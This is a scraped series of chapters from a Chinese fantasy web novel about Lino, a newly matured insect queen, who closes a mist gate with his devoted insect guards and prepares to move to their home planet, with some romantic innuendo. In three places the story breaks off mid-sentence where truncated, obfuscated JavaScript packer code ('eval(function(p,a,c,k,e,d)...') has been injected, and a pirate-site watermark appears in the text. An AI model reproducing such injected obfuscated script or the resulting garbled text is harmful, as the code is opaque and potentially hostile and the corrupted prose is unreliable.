安瑟姆等虫在短短时间内就了解这位虫母不是愿意被保护的那位，比起待在安全的地方，冕下更喜欢去探索未知。 因此，虫族们没有请求利诺待在外面、由其他虫族先探究密室，反正他们有足够的信心保证他们的利诺冕下不会受到伤害。 一部分虫族在圣殿搜寻关闭迷雾之门的钥匙，剩下的包括安瑟姆和伊戈提安，陪着虫母进入通道。 安瑟姆贴心地打开照亮设备，漆黑的通道瞬间亮如白昼。 利诺打趣：“安瑟姆，你还有什么惊喜是我不知道的？” 安瑟姆的空间囊简直是居家旅行、杀人灭口的利器。 “冕下，安瑟姆的使命就是为您服务……”虫族护卫的皮肤又染上几分红。 伊戈提安冷呵了声，打断安瑟姆的讨好，说道：“快到了，安瑟姆你保护好冕下。” 越到里面，吸引利诺的气味就越重，利诺的眼神有些迷离，如果他的自制力再差一些，恐怕此时都要丧失理智，跑过去将散发香味的东西给吃掉了。 其他虫族似乎都闻不到，只是在察觉利诺的不对劲时，时不时担忧地看看他。 利诺牵住安瑟姆的手。 安瑟姆整只虫红温，反应极大：“冕下，您！” 青年的手柔软温热，而安瑟姆的手因为常年的训练而长满厚茧和疤痕。 冰冷的手掌内突然握住他心爱的虫母冕下的手，安瑟姆不知道要怎么办才好，想遵从本心握紧利诺的手，却又惶恐粗糙的掌心划伤虫母娇嫩的皮肤。 “拉紧我，不要让我失去理智。”利诺郑重吩咐安瑟姆。 安瑟姆的体温稍稍回落，他小心控制力道，大掌包裹粉白的手：“冕下，要是觉得疼，还请您惩罚。” 伊戈提安嫉妒得眼珠子更红了，但当着利诺的面什么也没说，只酸不溜地切了一声。 要是他当年也参与虫母护卫队的选拔，如今牵着虫母手的一定是他伊戈提安，哪里还轮得到安瑟姆这只认死理的虫子。 伊戈提安带着戾气推开，一把推开重达千斤的铁门，浓郁的血气瞬间弥漫开来，红到发黑的血液哗啦啦地顺着门涌出来。 饶是伊戈提安这种不知杀掉多少怪物、见过多少血腥场面的士兵，也被密室里的场景恶心到了。 密室不大，用锁链囚禁住一只巨大的畸形怪物，十二翼翅膀上有明显的啃食痕迹，大部分只剩下白骨，几根稀疏的洁白羽毛顽强挂在残破的肉上。 怪物的主体是一颗巨大的眼珠，浑浊不堪，同样被啃食掉大半，蓝紫色的血管脉络、熟悉的血线杂乱交缠。 正想吐槽这怪物的外貌，就听到安瑟姆焦急地喊：“冕下！冕下！您能听到我说话吗？” “怎么回事？”伊戈提安皱眉，注意到利诺正直愣愣盯着被束缚于刑架上的畸形怪物。 “冕下在看到这东西的时候就不对劲了！”安瑟姆抱起利诺，却发现利诺的脚仿佛黏在了血污的地板上。 紧接着，安瑟姆和伊戈提安也发现他们无法行动了。 “该死的，老子是被暗算了？”伊戈提安还是第一次遇到这种怪异的事情。 他一年骂骂咧咧，一边尝试活动僵硬停滞的身体，企图先把利诺带离密室。 然而还是失败了。 残损的浑浊眼珠左右缓缓转动，最终将目光放在中心的利诺身上。 利诺看到的和伊戈提安等虫族看到的场景完全不一样。 俊美到超出认知范围的长发男人张开洁白的十二翼，微笑着朝他伸出手：“你来了。” 利诺却没关注那迷惑的容貌，而是兴致勃勃地问：“哥，你的翅膀怎么长的？” 很奇怪，利诺并没有对陌生的男人有任何警惕情绪，仿佛他知道，这个长着翅膀的鸟人不会伤害他。 “你有办法让我也长出六对翅膀吗？”利诺追问。 有六对翅膀的蝴蝶，想想就很威风！ 男人宽和的笑容卡在脸上，笑也不是，不笑也不是。 最终他摇摇头：“……很少有生物会无视我的外表关注其他。” 利诺摸摸自己的头发，骄傲：“我觉得我比你更好看，我有白头发！” 即使利诺更想要帅气魁梧的外貌，但也不会违心表示自己长得不好看。 男人低低笑出声，从锁链中飞下来，睫毛颤动，在利诺没反应过来的时候，吻在他的额头。 利诺睁大眼睛，而男人则摸了摸利诺的可爱脸蛋：“最后一个赐福，送给你了。” “你醒来后要快走，关闭门的钥匙在那里。”男人指出准确的方向。 紧接着，场景如同梦幻的泡沫般破碎，利诺从这场普通的梦境坠入一场噩梦。 黑雾侵蚀城市，长着洁白翅膀的眼珠从天而降，他用圣洁的光为城市居民驱散危险的迷雾。 眼珠划破翅膀，从伤口内留下的血从天空坠落，化作绵绵血雨，惠及众生。 惶恐的居民发现迷雾不再围绕他们，受到眼珠的祝福，他们的后背同样长出洁白的翅膀。 幸福欢乐重回世界。 然而画面一转，长着翅膀的眼珠被万箭射至地面，被赐福的居民们贪婪扑上它的身体，撕咬它的血肉，吮吸它的血液。 带头怂恿的居民吃掉了最多的血肉，他获得了眼珠的一丝力量，被奉为神明。 眼珠第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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来的时机刚刚好，这下利诺就不担心虫族数量少了。 利诺：【来东南方向，替我们开出一道路，我们会尽快拿到钥匙。】 【是，阁下！】 在怪物不断往利诺这里涌来、安瑟姆等虫族纷纷开启屠戮模式时，浩浩荡荡的虫群出现在怪物包围圈的外围， 他们一小部分是英玛星第一军校的师生，大部分则是来支援的英玛星军部士兵。 总共不到两三千的虫族，却足够在如蝗虫般密集的黑皮怪物中杀出一道路来。 伊戈提安见准时机，一脚踢爆两只怪物的头，从怪物群中穿行。 他将利诺保护得很好，虫母的身上没有一点怪物飞溅的血点，都被伊戈提安遮挡住了。 利诺咬唇，在路过一处地点时被翅膀男吻过的额头隐隐发烫。 他道：“就是这里！” 黑皮怪们被虫群拦在后面，伊戈提安带着利诺落到地面。 利诺发现，这正是虫兽带他回来的虫巢。 20. 第二十章 虫兽在这里生活的时间一定很长，挑拣的石块棱角被细致磨平后再堆成简易的住所，四周的地势平坦干净，没有随处可见的碎石和枯死的树干。 不过由于虫族和黑皮怪的原因，石屋崩塌，周围一片狼藉，鲜血、血丝和怪物尸体杂乱摆列。 浸染蝴蝶鳞粉的土壤空隙生长出的粉色小芽是点缀其中的唯一较为舒适和谐的装饰。 “放我下来。”利诺拍拍伊戈提安的手臂。 然而抱着虫母香香软软的身体，伊戈提安哪里舍得放下：“冕下，现在情况不安全，还是我抱着您最好。” 高级虫族一副为利诺着想的样子：“您把我当成一条狗就成，想去哪里发出命令，我会很听话。” 这个世界确实有狗，但狗不如利诺上辈子驯服的小黄狗那样温顺可爱，这里的狗是军部豢养的大型猛兽，同样可以在迷雾中生存一定的时间，军部训练他们扑杀怪物。 凶残、战力不低。 利诺联想到从视频中看到的那些留着涎水的猎犬，又看看英俊的高级虫族，不忍直视撇过视线。 他没拒绝，也没点头，直接道：“去小屋旁，把碎石块扒开！” 伊戈提安属于虫族中的蚁群，追踪能力一流，力气更不会小。 从两侧破体的两对虫肢轻松拨开掩盖地面的石块，作战经验丰富的虫族对虫型和拟态的转变会更加熟练，只要他们想，可以不恢复原型而仅令拟态的某部分虫化。 虫纹从伊戈提安的后背蔓延到后脖颈。 利诺的额头那点随着伊戈提安的拨弄而散发着淡淡的热意，这或许就是那个被赐福的信徒硬生生吃掉半幅身躯的眼球说的最后的赐福。 “冕下，您很棒！”伊戈提安的寻踪能力展开，粗壮的后肢刺入地面，再伸出时后肢的倒刺上挂着一把钥匙。 是很普通的钥匙，与这扇迷雾之门的材质相同，长满铁锈，钥匙的顶端因为时间的流逝而被腐蚀出细小的缺口。 不用利诺出声，伊戈提安第一时间将钥匙捏碎。 钥匙本身并不难销毁，难的是如何寻找到这把毫不起眼的钥匙。 笼罩在头顶的黑雾转眼消散，整个迷雾世界也如拼图般片片掉落、消失。 熟悉的、类似黑雾的雾气包裹住利诺和伊戈提安，还有远处杀黑皮怪物杀红了眼的虫族。 幸存的黑皮怪物们却被无形的力量捏在一起，骨骼咯吱，痛到极致的吼声离利诺越来越远。 “冕下……冕下……”被伊戈提安轻声呼唤，利诺睁开银灰色的眼睛。 他站在操场上，一同从迷雾之门出来的虫群随着安瑟姆这只高级虫族的动作，也依循着自身的本能，为带领他们的虫母献上最狂热的忠诚和爱意。 两千多名虫族，还有守在迷雾周围的军部士兵，以及被虫母在迷雾之门内的精神链接而吸引过来的维持英玛星正常运行的后勤虫族，全都一致坚定狂热，对中心的虫母献上同等的爱与忠诚。 虫母至高无上、不可质疑，而虫群会成为虫母冕下手中的剑刃，为他奉上忠诚和生命。 这时，利诺意识海内的树左右摇晃，天空上的星点光芒大盛，在这一瞬间，他的精神与整个宇宙中的千万虫族达成连接。 有无数的低语随着连接传到利诺的脑海中，他的头却不再疼痛，反而有条理地摆列。 那些似乎陷入沉眠、不再活泼的果子微微动了下，对着小蝴蝶乞求着什么。 利诺默默感知了下，表情瞬间变得很是精彩。 那些果子，居然在跟他要其他虫族的基因！ 利诺又不是在培育院工作的虫子，哪里会有那种东西！ 毕竟这些果子口中基因的意思，就是虫族的繁衍细胞。 它们需要优秀的繁衍细胞，才可以彻底成熟。 利诺默默当做没听见，决定果子还是别成熟了吧…… “冕下？”伊戈提安早将利诺放下，与其他虫族一样单膝跪地。 但伊戈提安本身不像安瑟姆那样极重规矩，他仰头朝着利诺勾起嘴角，不羁地笑：“您现在饿了吗？” 他在赤果果地勾引虫母。 利诺正被果子搞得不知所措，急需一些事情转移注意力，接着他看到了伊戈提安。 他似乎是要缓解那股震惊，把手拍在这位虫族的脸上，解释：“你脸上有点脏。” 伊戈提安并不觉得是被挑衅，利诺的动作更像奖励，他的笑容拉大：“劳您费心，冕下。” 猩红的眸子往下，落在利诺的腹部：“您饿了吗？” “……”利诺摇头，“不饿。” 接着他让整个虫群起身，顺利转移视线的虫母乐滋滋，他今天也算是享受了一把上辈子皇帝的待遇。 要不是身份不符合，利诺肯定会挥手，故作庄严：“众爱卿平身。” 只有一个字可以形容，那就是，爽！ 利诺很认同一句话，坐在什么位置上就要肩负起什么样的责任。 他没有一味沉浸在这种有无数小弟、突然坐上王座的惊喜中，触摸额头被男人吻过的地方。 指腹的热度让他知道，男人说过的赐福指的是什么。 半小时后，利诺坐在学校会议室的主座上，其他座位上分别是英玛星军部军长，和隶属蓝星最高军部的一军未来军长希尔维乌斯、二军军长伊戈提安、最高军部总参谋拉斐尔，以及虫母的护卫队队长安瑟姆。 对这些有权有势的虫族，利诺丝毫不怵，开门见山：“我从迷雾之门内得到了一片肥沃的黑土地。” “现在这些黑土壤就在我的意识海里，只要有足够的面积，就能具象化。” 利诺说完，故作谦虚地抿直嘴唇，实则悄摸摸偷看虫族的反应。 然而，虫族的反应不在利诺的预料之内，他们眼神发直，如同看到天神一样，直直盯着主座的虫母。 伊戈提安和安瑟姆和利诺相处了不短的时间，反倒是表现较为正常的，而其他三只虫族看起来就比较呆傻。 希尔维乌斯和拉斐尔是坚定的虫母支持派，早在利诺蜕变为虫母之前，就坚信虫母的诞生会是虫族的未来。 他们期翼虫母的出现，也接触过向虫母阶段过度的利诺，可在见到成熟的虫母时，仍然不免来自灵魂和精神的颤动。 而管理英玛星的中级虫族军长更加痴呆，他没有足够的权限接触关于虫母的隐秘，完全没有虫母的概念，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拉斐尔认可道：“冕下是位负责且合格的统治者。如果您对我放心，将这片黑土地交给我，我会组织起科研虫群研发种植相关的农业问题。” 虫群只会无条件执行虫母的一切指令，而且，在场的虫族不约而同想，这样的冕下真的很可爱啊！ 一想到利诺冕下在为他们的饮食考虑，冰冷的虫躯都变得暖暖的。 利诺要虫族发展农业，完全没问题，虫群们有的是力气！ 这种可以和虫母拉近关系的任务，拉斐尔当然要抢，不仅要抢，还要完美完成。 反光的镜片遮掩了拉斐尔深沉的心思，那本书内可是说了，母亲通常会偏爱乖巧聪明能干的子嗣。 不巧，拉斐尔目前正在朝这方面努力。 果不其然，利诺漂亮的瞳孔溢满光彩：“那就拜托给您了，拉斐尔老师！” “拉斐尔永远忠诚您，我的冕下。”迎着其他虫族隐晦的嫉妒，拉斐尔笑容更加温和成熟，将仇恨值拉到顶点。 利诺要说的只有这件事，而希尔维乌斯则深深看了眼主位的小蝴蝶，将话题引导向另一个方面：“接下来，我想谈谈关于冕下的重要事情。” 21. 第二十一章 希尔维乌斯定定凝视利诺，仿佛会议室内其他的虫族都不存在。 然而性格再冷淡的虫子在和虫母交流时都不会无动于衷，希尔维乌斯轻声细语：“冕下，请容许我追随您，将您带回蓝星。” 蓝星，才是虫族的起源，也是虫族最安全、最繁荣的星球。 希尔维乌斯的声音极其温柔，从来没见过他摆出这种样子的伊戈提安脸色发绿，五官略微扭曲，差点绷不住。 希尔维乌斯这鬼样子像是被迷雾世界里的怪物上身了。 “嗯……”利诺略有些迟疑。 “这件事情确实很重要。蓝星的教育、科技水平也比英玛星更高，冕下的生活质量有最高的标准。” 衣鱼勾动嘴角：“而且冕下，虫族目前急切需要您的统治和管理，蓝星会是最适合的权力中枢，您会很顺利地走到至高的位置。” 拉斐尔洞察虫心，而且利诺也不是特别复杂难懂的性格，他的最后一句话简直是把利诺想要的直接点明。 安瑟姆仍旧惦记利诺冕下表露出的喜好：“正好在蓝星给冕下盖一座大宫殿，要贵！要奢华！” 要比那个白主的圣殿更漂亮豪华，才配得上冕下的身份！ 伊戈提安不甘落后，急忙比划：“冕下，我有几颗星球盛产珠宝，珍珠有这么大，宝石有那么大……” 利诺看直了眼，他咽了咽口水，然后迅速点头：“可以，但我要接受完整的军校教育。” 在蝴蝶眼中，上学和学习没有中途而废这一个选项，他是虫母，但现在也是军校新生。 这几只虫族方方面面把握住了利诺的爱好兴趣以及强盛的事业心。 拉斐尔叹息一声：“冕下，您是至高无上的存在，您当然想做什么都可以。这种最基本的，您无需多说，虫群会为您全部安排。” 已经被边缘化的英玛星军长：“那……我会让冕下的档案记转移到蓝星。” 英玛星军长绞尽脑汁，才好不容易在会议上成功刷了次存在感，没让利诺冕下的注意力都被从蓝星来的这帮该死虫子全都勾走！ 拉斐尔不动声色，抢夺利诺的视线：“不需要军长操劳，我有调动各星球虫族档案的最高权限。” “……”呵，最烦这种从大星球来的虫族，权限高，心眼也贼多，他们边缘星的虫族都憨厚老实，完全争不过，英玛星军长腹诽。 氛围似乎有点奇怪，利诺意识到这点，立即扬起乖巧的笑容：“各位，快到中午了，不如一起吃顿饭吧！” 利诺迟钝归迟钝，但解决下属矛盾时利落迅速，不让群体团结掉队。 当着虫母的面隐晦争宠的虫群凌冽的目光瞬间清澈柔和，笑道：“遵命，冕下！” “嘿咻……嘿咻……嘿咻……嘿咻咻……” 这时，数十对翅膀扇动扑打，以及规律的短音节在窗外响起。 不寻常的动静引起会议室所有虫族的警惕，要知道这些虫族的耳力不弱，不至于东西近到跟前才猛然发觉。 即使刚经历一场迷雾的突然袭击，虫群也始终不会放松精神，安瑟姆等虫已迅速将利诺围在中央：“冕下小心！” “不用紧张。”利诺的意识海内一群极小的星点在朝着银色弯月靠近，他感觉不到任何威胁，“是虫群。” 不过这么小的星点，精神力不高，而且体型也要比他小。 拉斐尔似乎意识到来的虫群身份，只是还没说，就见窗外出现了四五十只笨拙的身影。 黄黑条纹的毛绒绒，属于蜂群，但和那些强悍精壮的蜂族相比，体型圆胖。 “嘿咻……嘿咻咻……” 蜂群若隐若现，绕在一起，用爪子勾着对他们来说体积很大的圆罐子，直至窗前身形才完全稳定，为首的胖蜂是领队，停止指挥的音节，一对前足相互摩擦到足够锃亮，才郑重地敲了敲玻璃。 “笃笃笃——” 玻璃是单向的，外面不能看清里面，里面却可以清晰地看到外面。 拉斐尔的尾须愉悦地抖动：“是熊蜂。” 他俯身对好奇的小虫母解释：“是很特殊、很古老的虫群。” 好学的利诺联想到曾经看过的书，举起手，他仍旧把拉斐尔当做老师一样恭敬：“我知道，老师。” 他流利背诵：“熊峰是迷雾还未降临时就生活在蓝星的古老品种，迷雾的降临没有让他们的体型得到变异和增强，也未开智，但是他们却有了穿梭时空的特殊能力，经常穿梭在各个星球采集花粉酿蜜。繁育所培养的虫蛋有0.01％的几率会孵化出熊蜂，而所有的熊蜂幼虫会在化蜂后通过空间能力消失。他们是虫族还是普通昆虫依旧存在争议。” 像个好学生背书的利诺模样很是可爱，虫族屏住呼吸，全神贯注将虫母悦耳的声音灌进脑海和心底。 甜死了！ 拉斐尔刚长好的心脏好像再次活生生剖出来，不是之前被怪物挖出来，而是主动跳出来，把自己放到利诺的心口，和利诺的心脏一起怦怦跳。 “冕下说的很对很全面，您平时一定很努力学习。”拉斐尔不留余力地夸赞小蝴蝶。 利诺鼻尖嗅动，盯着衣鱼的口腔疑惑道：“拉斐尔老师，您刚吃了蜜吗？”味道甜丝丝的。 拉斐尔闭上嘴，对利诺扬起一个含蓄的微笑。 “冕下，要不要开窗？”希尔维乌斯打断利诺的疑惑，轻声问。 利诺恍然想起来外面的熊蜂群，哒哒哒跑过去开窗。 拉斐尔的尾须悄悄落下，有些庆幸，也有些遗憾。 衣鱼没有翅膀，是虫群中极其罕见的品种，因此分泌金黄液体的腺体不长在翅根，而是长在口腔内。 这一点是个不常见的冷知识，很少有虫族知道，拉斐尔低头，用舌头顶在口腔一侧的隐形囊袋里，平时紧闭的囊袋此时分泌了微末的液体…… 时刻关注利诺、贴身守护利诺的安瑟姆拉住利诺的腰：“危险，冕下，我帮您开。” 会议室在十四楼，安瑟姆认为这个高度对虫母有一定的危险。 玻璃打开，为首的熊蜂见状晃了晃肥硕的腰，似乎在保持冷静：“嘿咻！” 没有开智、没有复杂声带的熊蜂只会发出这两个音节，在看到利诺的一刹那小黑点似的眼咻得亮起来：“嘿咻！” 他的虫足晃动，扇动的翅膀稳定在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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利诺搂着小罐子，百感交集，并暗自决定，他利诺一定要当最好最称职的虫母，才对起熊蜂们送来的蜂蜜！ 这一小段插曲没有影响他们的午餐时间，利诺捧着罐子回到宿舍收拾东西，护卫队的虫族跟在虫母身边。 由于迷雾侵袭的原因，也因为利诺的身份显现，为了不引起混乱，军校目前暂停上课，并让其他学生老师暂时离开军校。 军校内空荡荡，很安静，利诺微微侧头，就看到低垂头的安瑟姆。 “安瑟姆，你吃饭到现在一直没说话，是怎么了嘛？”利诺询问。 安瑟姆表情错愕，意外且欣喜着冕下对自己的关心。 纠结许久，他憋出一句话：“冕下，伊戈提安那家伙对您的赞美都是偷的我的。” 那些对虫母的赞美，都是在每一次训练后，他短暂休息时想要对虫母冕下说的。 被伊戈提安厚颜无耻地偷走，安瑟姆就算习惯不争不抢，心里也很不舒服。 注意到虫族懊恼的神色，利诺感到好笑。 想了想，利诺用指尖从罐子里沾了点蜂蜜，喊：“安瑟姆，低头。” 忠诚的护卫队队长闻言照做，就见小蝴蝶带着笑，将指尖的蜂蜜抹到他的嘴上，对他说：“不要难过，给你蜂蜜吃。” 22、第二十二章 不薄不厚的淡色唇覆盖上一层薄薄的蜂蜜，在光线下闪烁着淡金色的光泽，有点想吃…… 毕竟利诺的虫型是蝴蝶，蝴蝶就是要吃蜜的。 利诺打量了安瑟姆一会儿，发觉他的这个贴身护卫其实也是很英俊的面孔，只是性格和气质使然，会下意识被忽略。 不过也很正常，毕竟虫族的拟态没有不帅气的，利诺这种精致型的才是少见。 利诺平时很少关注其他虫子的长相，顶多羡慕一会儿其他虫族长成了他想要长成的模样，然而现在，他却下意识在描绘安瑟姆的轮廓。 虫母的意识海微微颤动，虫母的成熟，也象征着繁殖和孕育的成熟。 利诺晃晃脑袋，依旧没想到那一层，只以为自己是在馋安瑟姆嘴上的蜂蜜。 他从蜂蜜罐舀出一点蜂蜜，伸出舌头细细舔舐，熊蜂酿造出来的蜂蜜毫无疑问属于优质中的优质，小虫母愉悦得眯起眼，他从未吃过这么好吃的蜂蜜！ 利诺满意地走远。 而安瑟姆硬邦邦地杵在原地，眼神空洞。 他满脑子都是，虫母冕下用手碰触了他的嘴，还笑着将珍贵的蜂蜜分享给他…… 冕下的手是那么得软，冕下的笑又是那么得漂亮，安瑟姆想不到用什么宝物来对冕下进行适当的比喻与赞美。 没有什么能配得上和冕下相提并论。 拿着斧头砍怪物脑袋的冕下，喜笑颜开的冕下，冷脸应对怪物的冕下，以及偶尔起坏心思逗弄其他虫族的冕下…… 一切的一切，都是安瑟姆在这些天和利诺寸步不离珍藏的回忆。 冕下愿意碰触他，是不是意味着，他并不抵触名为安瑟姆的虫族？ 安瑟姆的鼻尖是利诺刚才靠近他时弥漫过来的香气，那香气和利诺平时无形散发的香气有一点轻微的差别。 利诺在彻底成熟后，那种让所有虫族闻到就会不受控分泌蜜液、陷入痴迷毫无理智的浓郁气味就彻底收敛，只余下象征虫母身份的淡淡味道。 可是安瑟姆刚才嗅到的气味，除了会让所有虫族臣服的威压外，还有一丝丝暧昧的信息。 想到这一点，绯色如同烟火于夜幕绽放，迅速攀升在安瑟姆的皮肤，心跳加速到某种即将爆炸的节奏。 “安瑟姆，怎么还不过来？”利诺的声音传来，满是无辜和疑惑。 安瑟姆慌乱地敛眸：“请冕下惩罚我的走神！” 他几步又跟在利诺的身后，耳根的红始终没有消散。 利诺狐疑地看了几眼安瑟姆，这位忠诚的骑士此时奇怪无比，好似遇到什么让他羞窘的事情。 但作为合格的大首领，利诺对属下没有过强的控制欲，他只是瞄了瞄安瑟姆因为体温的上升而不住往规整指制服外蔓延的虫纹，就失去了兴趣。 利诺核对指纹和瞳孔，宿舍的门缓缓开启。 他松了一口气，庆幸自己的基本特征没有因为从毛虫向蝴蝶的质变而同样改变。 作为向蓝星以及本星球的军部输送基本战力的士兵摇篮，高等军校在各个星球都是重点发展的地方，就算英玛星是比较落后偏远的星球，军校宿舍也差不到哪里去，基本是一厅两室的双虫间规制，面积不小。 利诺的门上贴着一张纸条，他扯下来看，应该是洛尔南知道他的腕表在迷雾之门坏掉无法联系，所以在不得不离开军校的时候留下来的。 上面只有简单的一句话：利诺冕下，等我去找你。 洛尔南不傻，在了解到利诺的身份后就意识到利诺是一定会离开英玛星的。 这个偏远星球并不适合尊贵的虫母生活。 洛尔南不会挽留利诺，而且他没有阻挡虫母前进的资格，利诺不是他一只虫的，虫母是整个虫群的珍宝。 利诺从旁边的桌子上拿了一根笔，在纸条上画了个“ok”的手指简笔画，贴在洛尔南的房屋门口。 利诺不算记仇，虽然洛尔南刚开始态度不好，他也早全都报复回去了，更何况他也清楚，洛尔南的不对劲大部分原因是他正处于蜕变前的不稳定时期。 最重要的一点，洛尔南分泌的液体很好吃。 在迷雾之门内，利诺发觉洛尔南不逊色高级虫族的潜力，在他看来，洛尔南将来九成九是他的优秀下属。 利诺喜欢可以给他的势力添砖加瓦的属下，而简单的回应，就会让未来的属下更加忠心努力，何乐而不为呢？ 他贴好纸条，端详片刻，略微谦虚地点评：“想必我就是最会御下的老大！”这也得感谢他上辈子的经验。 御下……冕下很会御下……要是冕下御他，他肯定不会拒绝……安瑟姆面红心跳，思维已然偏到了一片黄色的海洋里。 没等到安瑟姆的夸夸，利诺有些诧异地扭头，就看到英俊的高级虫族此时变成了一只红色的高级虫族。 利诺挠挠脸，不理解为什么安瑟姆总是莫名其妙地脸红。 等了半个小时，护卫队将利诺的东西打包好带了出来，利诺刚来军校没几天就被卷到迷雾之门内，因此东西不算多。 “冕下，这是您要的腕表。”拉斐尔在飞船旁等待良久，看到利诺便笑着拉利诺坐在生活舱内，气质儒雅自带亲切感。 利诺在尊敬的长辈面前，基本习惯维持乖巧懂事的形象，他的声音软软的：“谢谢拉斐尔老师。” 像是在撒娇。 拉斐尔顶了顶口腔内不由地再次分泌废液的口囊，温柔道：“冕下不必喊我老师，我本就只是来这里代了两节课。” 在利诺微微皱眉时，拉斐尔转移话题：“冕下，我帮您戴。” 他从盒子里拿出精巧的腕表，小心拉过利诺的手臂，装若无意地放在自己的大腿上。 利诺的手指不可避免地碰触到拉斐尔紧绷的腹部。 果不其然，利诺眸子里升起惊异：“拉斐尔，你看起来不像是有肌肉的样子。” “啊，这个吗？”拉斐尔毫不见外地撩起宽松的休闲服，白皙皮肤的八块腹肌轮廓清晰，“我虽然在军部是文职，但是文职也是要训练的。” 拉斐尔的拟态有双天生的笑眼，温和又无害，此时不急着给利诺戴腕表，反而咬住衣角，露出同样结实的胸膛，以及缠绕在胸膛的反复虫纹。 在利诺呆愣的时候，拉斐尔攥着虫母的手覆盖一小片虫纹：“冕下要摸一摸吗？” 好怪哦！利诺这只尚且不懂情爱的小蝴蝶被成熟的长者完全带着走了。 拉斐尔带着虫母纤细白净的手指，游走在胸肌上的虫纹，不是很正经的动作，偏偏他口头上还在说：“冕下，这是我的虫纹……您应该学过这个知识点，只有中级和高级虫族才会有虫纹。” 他强调：“这是常识考试的必考点。” 利诺心中的怪异被拉斐尔的话打散，点头应和：“我知道的，而且每个虫纹的形状都是独一无二的！” 一说到考试，利诺就非常有底气，毕竟他是以英玛星笔试第一名的成绩考进的军校，不然就凭体能考试那点分数，他不一定能够上得了军校。 拉斐尔：“很棒，冕下的优秀毋庸置疑，不过冕下，您是不是还不知道虫纹形状的规律？” 这触及到了利诺的知识盲点：“虫纹的形状有规律？” “是的，冕下，这是今年蓝星中心科研院刚得到的发现。估计下年的考试就会考这方面的常识。”拉斐尔悄声道。 一向“笨鸟先飞”的利诺眼睛亮了亮：“拉斐尔，你先告诉我，我提前巩固下知识点！” 拉斐尔不再引导利诺，而是放下手：“冕下，您试着描绘下我的虫纹。” 利诺依言照做，细腻的指腹擦过拉斐尔的纹路，跟着形状画了个大概，但依旧一头雾水。 他完全是以研究的态度观察，而拉斐尔的呼吸却粗重几分，体表的温度让显眼的虫族扩大生长。 利诺像是发现了什么：“你的纹路，在受到一定的刺激时会顺时针生长？而且形状……”他看了眼拉斐尔翘起来的尾须，“像是您尾须上的纹路！” 拉斐尔吐出几口浊气，目光满含赞许：“冕下，您猜对了。我的尾须就相当于大多数虫族的翅膀，那些中级以上虫族的虫纹和翅膀纹路相对应。” “嗯……”利诺的目光澄澈，“拉斐尔，你是不是也好久没去贡献繁衍细胞了？” 一滴汗从拉斐尔的额角流下，表情多了隐忍：“冕下，请您恕罪，我需要去处理一下在您面前的不得体。” “没事，去吧！”利诺招招手。 安瑟姆全程目睹一切，眼神复杂地看着拉斐尔堪称狼狈的背影……与大多直来直往的虫族不同，拉斐尔是个浑身长满心眼子的虫族。 “安瑟姆，帮我固定腕表。”利诺靠在椅背上，朝安瑟姆懒懒伸出手。 “遵命。”安瑟姆俯身调整虫母手腕上的腕表，委婉提醒：“冕下，拉斐尔阁下心机颇深。” 他能看出来拉斐尔想要引诱冕下，但这次没有成功，反而被冕下弄得不上不下，自己掉进了自己埋的坑。 它们这些虫子早就在背地开始了争夺虫母喜爱的战争，在冕下面前说别的虫子的坏话实在正常不过。 利诺摆弄为他连夜特别定制的腕表，不以为意：“我知道啊。” 安瑟姆一愣：“您知道？”莫非冕下开窍了？知道拉斐尔在勾引他？ 利诺打开腕表，里面的东西一比一复刻了他之前破损腕表储存的东西，他满意地点点头，将刚才获取的虫纹知识记录在他的腕表笔记本中。 小虫母的眼神犀利：“呵，想刻意为难我？想多了！无论拉斐尔提出多么难的问题都不会难倒我！” 安瑟姆：“……”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 23、第二十三章 腕表在这个世界是很重要的工具，上网、身份证明、货币储存等都需要借助腕表才可以实现。 以防万一，利诺顺便检查了一遍新腕表内自己曾经做过的各类笔记，新腕表的资料拷贝的是旧腕表存储在云端的内容，并未有任何缺损。 利诺这才放心地关闭自己的线上笔记，打开联络人，想着给老院长发条信息。 他离开前很想再见老院长一面，或者直接把老院长接到蓝星和他一起吃香的喝辣的。 虽然虫族没有亲情，但利诺确实有把老院长当成自己的长辈，他上辈子的记忆开始在基地的孤儿院内，没有一点对父母的印象。 老院长完美契合他想象中的父母形象。 可惜的是，老院长在将他送到军校后就退休去旅游了，这很正常，毕竟老院长的年纪已经很大了，按照虫族的平均寿命计算，老院长的寿命即将走到尽头。 大部分幸运活到正常岁数的年迈虫族在自己最后的几个月时间内，按照惯例会独自进入星际中漫游。 最后，它们在几代虫族占领的宇宙区域内安静地迎接自己的死亡，最后一次拥抱没有迷雾的瑰丽星空。 虽然更多的虫族则不会活到那个年龄就因为迷雾之门和意识海的原因走向灭亡。 这算是虫族为数不多的浪漫和情怀。 利诺点开老院长的信息栏，指尖稍微停顿了下，属于老院长的联络栏已经彻底灰暗。 这意味着虫族的死亡。 利诺关上了老院长的信息栏，有些伤感，却也没有很多，他已经见过了太多的死亡，多到记不清，甚至他也体会过自身的死亡。 死亡不是终点。 利诺从新的空间钮内拿出那把粉色斧头，这是老院长送给他的最后一个礼物。 “冕下，请喝水。”细心的虫族护卫察觉到了虫母一瞬间的情绪低落，将加了蜂蜜的温水递了过来。 利诺没有吱声，而是把歪掉的粉色蝴蝶结仔细系好，然后放回空间钮内。 他接过水：“谢谢你，安瑟姆。” “这是我该做的。”稳重的高级虫族弯了弯可靠的眉眼。 甜滋滋的蜂蜜水顺着喉管留下，驱散掉利诺那一点点的伤感。 不是很明显的喉结滚动，利诺拉住安瑟姆的手，乖巧仰头：“我饿了，要吃饭！” 